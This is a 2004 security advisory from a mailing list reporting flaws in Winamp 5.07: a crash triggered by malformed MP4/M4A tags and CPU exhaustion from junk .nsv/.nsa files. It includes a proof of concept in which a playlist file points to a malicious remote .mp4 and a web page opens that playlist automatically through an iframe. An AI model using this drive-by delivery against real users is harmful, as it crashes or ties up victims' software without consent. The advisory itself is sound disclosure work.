[NT] Multiple Vulnerabilities in WinAMP (MP4 and NSV files)

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To: list@securiteam.com
Date: 20 Dec 2004 18:25:22 +0200

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  Multiple Vulnerabilities in WinAMP (MP4 and NSV files)
------------------------------------------------------------------------

SUMMARY

 <http://winamp.com/> Winamp is a popular media player for Microsoft
Windows .

Multiple vulnerabilities allow a remote attacker to crash the victim's
Winamp and possibly run arbitrary code.

DETAILS

Vulnerable Systems:
 * Winamp 5.07

Vulnerability Processing .MP4 and M4A Files:
There is a vulnerability in WinAMP's handling of .mp4 and .m4a files. When
exploited this vulnerability remotely crash the victim's Winamp. The
vulnerability lies in the .mp4 tagging system. If you use WinAMP's built
in feature to edit the tags on .mp4 or .m4a
files and insert any data in there the next time the file is opened it
will instantly crash Winamp.

Proof of Concept:
Create a .pls file containing the data:
[playlist]
numberofentries=5
File1=http://b0f.pwp.blueyonder.co.uk/a.mp4
Title1=
Length5=-1
Version=2

Make an HTML page containing an IFRAME linking to the .pls like:
< html>
< iframe src="http://b0f.pwp.blueyonder.co.uk/exp2.pls">

If the victim clicks a link to a page containing this code, like:
<http://b0f.pwp.blueyonder.co.uk/wexp3.htm>
http://b0f.pwp.blueyonder.co.uk/wexp3.htm

The playlist file will open automatically and try to play the malicious
file. This will crash the victim's Winamp. This could also be done with
m3u instead of .pls

Resource Consumption With .nsv and .nsa Files:
This one is simple. if you create for example a 1mb file (probably smaller
will do) filled with junk, and name it with either .nsv or .nsa file
extension. Once opened in Winamp, the file will cause the CPU usage to
spike to 100%. The bigger the size of the file the longer it will take the
system to recover.

ADDITIONAL INFORMATION

The information has been provided by <mailto:b0fnet@yahoo.com> Alan M aka
b0f.

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